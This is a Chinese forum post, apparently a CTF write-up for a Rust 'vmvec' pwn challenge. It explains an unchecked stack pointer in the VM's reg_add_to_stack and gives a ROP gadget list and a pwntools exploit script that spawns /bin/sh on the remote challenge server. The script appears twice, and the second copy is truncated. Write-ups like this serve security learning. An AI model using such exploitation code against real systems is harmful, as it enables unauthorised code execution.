首页
社区
课程
招聘
[原创] 第十题 陷入轮回 WP
发表于: 2022-6-2 22:47 16119

[原创] 第十题 陷入轮回 WP

xym 活跃值
4
2022-6-2 22:47
16119

相比较平常的pwn题,这次题目的附件下载时间有点过长了些,不过看到第六道pwn的369的精致分,这次的100多分也对得起他的4M多的执行体了。题目虽然出的是pwn题,但核心看来还是在逆向部分,就连IDA的打开时间也长了许多。题目是rust语言编写的,看起来比较陌生,却号称是内存最安全的语言,感觉出题者具备很强的pwn基础,才能把这类题目玩这么溜。
第一次用ida打开rust程序,不知道从哪里看起,搜索字符串也没看到什么特殊的地方(ida对rust的字符串解析太弱了)。于是只能放到ubuntu里面执行一下试试,没想到除了开头显示一个字符串,对所有输入基本都没有反应,完全不知道程序想干什么。于是顺手搜索了一下题目的名字The_Mystery_of_Marie_Roget——玛丽·罗杰奇案,看来是部外语电影,但依然没有什么线索。
最后从程序的输入开始顺着栈往上追踪,最后发现来到std::io::BufRead::read_line::hfe23df61b51ffee1函数这里,看到所在的函数名vmvec::main::h1f88fe21e640590d,估计这才是rust真正的主函数。虽然每个函数后面都跟着很长的一串二进制,但基本看前半段就明白功能,后面估计只是区分该功能属于不同的类。
简单跟踪了几轮对输入的处理,大概了解了程序的逻辑。单独的符号$是一个特殊功能,单独的#是输入的结束标志,然后每一行作为一个语句会被alloc::vec::Vec$LT$T$C$A$GT$::push::hd994e0abfacd7f08压入一个栈当中。最开始还以为是rust的语法,学习了一会却发现不像。最后对输入下了硬件断点,才发现vmvec::start_vec::h1393dc29498ce194才是程序的主要逻辑。输入共有vec、adj、print、cal、cmd、jmp、je、switch_stack、halt几种语句(其中cmd迷惑了我很久,一直以为可以执行某种命令,最后才发现实现的是cmp功能)。vec定义变量;adj添加删除变量;print打印栈底或者变量;cal实现栈或者寄存器上的运算;cmd对栈上两个值进行比较,结果压入栈底;jmp和je跳转到其他代码段,其中je根据栈底的值决定是否跳转;switch_stack切换栈;halt打印结束语句然后exit。特别的,如果语句以//或者其他字符开头,则不会参与运算。
第一遍功能梳理基本没发现什么问题,第二遍对结构进行分析。输入语句和寄存器都是放在堆上的,栈定义了两个,都是在vmvec::start_vec函数的堆上。checksec发现该程序没有开启栈保护,说明这个程序的栈可能有点问题。重点研究作者设计的栈(为和真实的堆栈进行区分,后文称为模拟栈)后发现,该模拟栈设计的大小为64个8字节,且大部分情况下操作前都对栈指针进行了检查,除了reg_add_to_stack函数。只要反复调用该函数就可以一直覆盖真实的栈直到返回地址。当然,由于作者设计了两个模拟栈,而且两个模拟栈相连且随时可以切换,所以可以通过reg_add_to_stack函数修改下一个模拟栈的栈指针,然后通过switch_stack切换栈后使用print实现任意地址读,使用reg_add_to_stack函数实现任意地址写。
但开始利用时发现,虽然使用print可以实现任意地址读,而且栈、堆、程序基址都可以leak出来,但程序执行到这里后已经关闭了输入,而且重新调用main或者start函数都会出错退出,缺少了再次输入的机会。但幸好cal提供了读取和运算的功能,可以把对应的值读取后进行运算,然后写入到相应地址。这里通过修改vmvec::main函数的返回地址,构造rop实现syscall(当然如果上网方便的话也可以利用print探测出libc的版本然后写入onegadget)。
设置的rop链为:

下面是本地测试成功的代码。

但实际攻击时发现一直不成功,估计是libc版本或者是调试状态等某些因素导致了最后一句"adj ab /bin/sh\x00"的地址不固定,调用/bin/sh失败。因此最终实现时增加了sendCmd("////////"+"/bin/sh\x00"*0x100)对堆进行了布置。

index:0x240
0x5555555bb483 :pop rdi ret
rdi -> /bin/sh heap
ret -> 0x5555555bb481 pop rsi;pop r15;ret
rsi = 0
r15    0
ret ->0x0005555555AAD10    pop rax,ret
rax = 0x3B
//ret = 0x0005555555B84D6    pop rcx,ret
//rcx = 0
ret = 0x0005555555B84D3 mov     rdx, rcx;pop rcx;ret
rcx    0
ret -> 0x55555556B91C syscall
index:0x240
0x5555555bb483 :pop rdi ret
rdi -> /bin/sh heap
ret -> 0x5555555bb481 pop rsi;pop r15;ret
rsi = 0
r15    0
ret ->0x0005555555AAD10    pop rax,ret
rax = 0x3B
//ret = 0x0005555555B84D6    pop rcx,ret
//rcx = 0
ret = 0x0005555555B84D3 mov     rdx, rcx;pop rcx;ret
rcx    0
ret -> 0x55555556B91C syscall
def makeInt(a):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("vec int >>=0,"+str(a)+ ",1;")
    sendCmd("cal add stack_to_reg")
def test3(p):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    makeInt(0x4c)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (61) + "1,100,180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x4c
    sendCmd("switch_stack")
    sendCmd("print")
    sendCmd("cal add stack_to_reg") #get heap
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    makeInt(0x241)                  #make 0x241
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x241
    sendCmd("switch_stack")
 
    sendCmd("cal add stack_to_reg") #get ret addr 0x555555580b9b    [heap,0x555555580b9b]
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("cal add reg_to_stack") #set ret addr 0x555555580b9b
    sendCmd("vec int >>=239848;")
    sendCmd("cal add stack_to_reg") #set reg 0x555555580b9b
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg") #set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg") #[heap,0x555555580b9b,0x5555555bb483,0]
    makeInt(0x240)              #make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")     #[heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=239846;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x5555555bb481,0]
    makeInt(0x242# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=172405;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x0005555555AAD10,0]
    makeInt(0x245# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    # 本来这里设置rcx,结果调试发现rcx已经是0了
    # sendCmd("switch_stack")
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b, 0]
    # sendCmd("cal add reg_to_stack")  # [heap]
    # sendCmd("vec int >>=227643;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b]
    # sendCmd("vec int >>=0;")
    # sendCmd("cal add stack_to_reg")  # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6]
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b,0x0005555555B84D6,0]
    # makeInt(0x247)  # make 0x240
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=" + "1," * (63) + "180;")
    # sendCmd("cal add stack")
    # sendCmd("cal add reg_to_stack")  # set 0x240
    # sendCmd("switch_stack")
    # sendCmd("cal add reg_to_stack")  # [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=227640;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D3]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x0005555555B84D3,0]
    makeInt(0x247# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=86655;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal sub stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x005555555A4172]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x005555555A4172,0]
    makeInt(0x249# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
    #sendCmd("cal add stack_to_reg")  # get ret addr 0x555555580b9b
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
 
    #gdb.attach(p, "b* 0x000555555578862\nb* 0x0000555555585E9B")
 
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0]
    makeInt(0x244)
    makeInt(0)
    makeInt(0x243)
    makeInt(0x3b)
    makeInt(0x246)
    makeInt(0)
    makeInt(0x248)
    #makeInt(0)
    #makeInt(0x24A)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x248
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0
    #
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x246
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0x3b
 
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x243
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0
 
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# set 0x244
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# 0x555555580b9b
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,15335,1;")
    sendCmd("cal sub stack_to_reg"# [heap,0]
    makeInt(0x241)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x248
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# heap
 
    # sendCmd("switch_stack")
    # sendCmd("adj ac ac ext_vec")
    # makeInt(0)
    # makeInt(0x248)
    #sendCmd("adj ac ac ext_vec")
    #sendCmd("vec int >>=" + "1," * (63 - 2 * 6) + "180;")
    #sendCmd("cal add stack")
    #sendCmd("cal add reg_to_stack")  # set 0x248
    #sendCmd("switch_stack")
    #sendCmd("cal add reg_to_stack")  # 0x0
 
    #sendCmd("cal add reg_to_stack")  # set rdi
    #sendCmd("switch_stack")
    #sendCmd("cal add reg_to_stack")  # set 0x241
    #sendCmd("switch_stack")
 
    sendCmd("$")
    sendCmd("$")
    sendCmd("adj ab /bin/sh\x00")
    sendCmd("#")
 
    p.recvline()
    print(hex(int(p.recvline())))
    p.interactive()
def exp(p):
    p.recvuntil("Now,tell me your answer.\n")
    return test3(p)
def main():
    global p
    p = remote(ip, port)
    #p = process(pwn, env = {"RUST_BACKTRACE":"full"})
    exp(p)
 
main()
def makeInt(a):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("vec int >>=0,"+str(a)+ ",1;")
    sendCmd("cal add stack_to_reg")
def test3(p):
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    makeInt(0x4c)
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (61) + "1,100,180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x4c
    sendCmd("switch_stack")
    sendCmd("print")
    sendCmd("cal add stack_to_reg") #get heap
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    makeInt(0x241)                  #make 0x241
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x241
    sendCmd("switch_stack")
 
    sendCmd("cal add stack_to_reg") #get ret addr 0x555555580b9b    [heap,0x555555580b9b]
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")
    sendCmd("cal add reg_to_stack") #set ret addr 0x555555580b9b
    sendCmd("vec int >>=239848;")
    sendCmd("cal add stack_to_reg") #set reg 0x555555580b9b
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg") #set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb483]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg") #[heap,0x555555580b9b,0x5555555bb483,0]
    makeInt(0x240)              #make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg")     #[heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=239846;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x5555555bb481]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x5555555bb481,0]
    makeInt(0x242# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b, 0]
    sendCmd("cal add reg_to_stack"# [heap]
    sendCmd("vec int >>=172405;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b]
    sendCmd("vec int >>=0;")
    sendCmd("cal add stack_to_reg"# set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555AAD10]
    sendCmd("vec int >>=0,0,1;")
    sendCmd("cal add stack_to_reg"# [heap,0x555555580b9b,0x0005555555AAD10,0]
    makeInt(0x245# make 0x240
    sendCmd("adj ab ab ext_vec")
    sendCmd("vec int >>=" + "1," * (63) + "180;")
    sendCmd("cal add stack")
    sendCmd("cal add reg_to_stack"# set 0x240
    sendCmd("switch_stack")
    sendCmd("cal add reg_to_stack"# [heap,0x555555580b9b]
 
    # 本来这里设置rcx,结果调试发现rcx已经是0了
    # sendCmd("switch_stack")
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b, 0]
    # sendCmd("cal add reg_to_stack")  # [heap]
    # sendCmd("vec int >>=227643;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b]
    # sendCmd("vec int >>=0;")
    # sendCmd("cal add stack_to_reg")  # set reg 0x5555555bb483 [heap,0x555555580b9b,0x0005555555B84D6]
    # sendCmd("vec int >>=0,0,1;")
    # sendCmd("cal add stack_to_reg")  # [heap,0x555555580b9b,0x0005555555B84D6,0]
    # makeInt(0x247)  # make 0x240
    # sendCmd("adj ab ab ext_vec")
    # sendCmd("vec int >>=" + "1," * (63) + "180;")
    # sendCmd("cal add stack")
    # sendCmd("cal add reg_to_stack")  # set 0x240
    # sendCmd("switch_stack")
    # sendCmd("cal add reg_to_stack")  # [heap,0x555555580b9b]
 
    sendCmd("switch_stack")
    sendCmd("adj ab ab ext_vec")

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-6-2 22:49 被xym编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回
//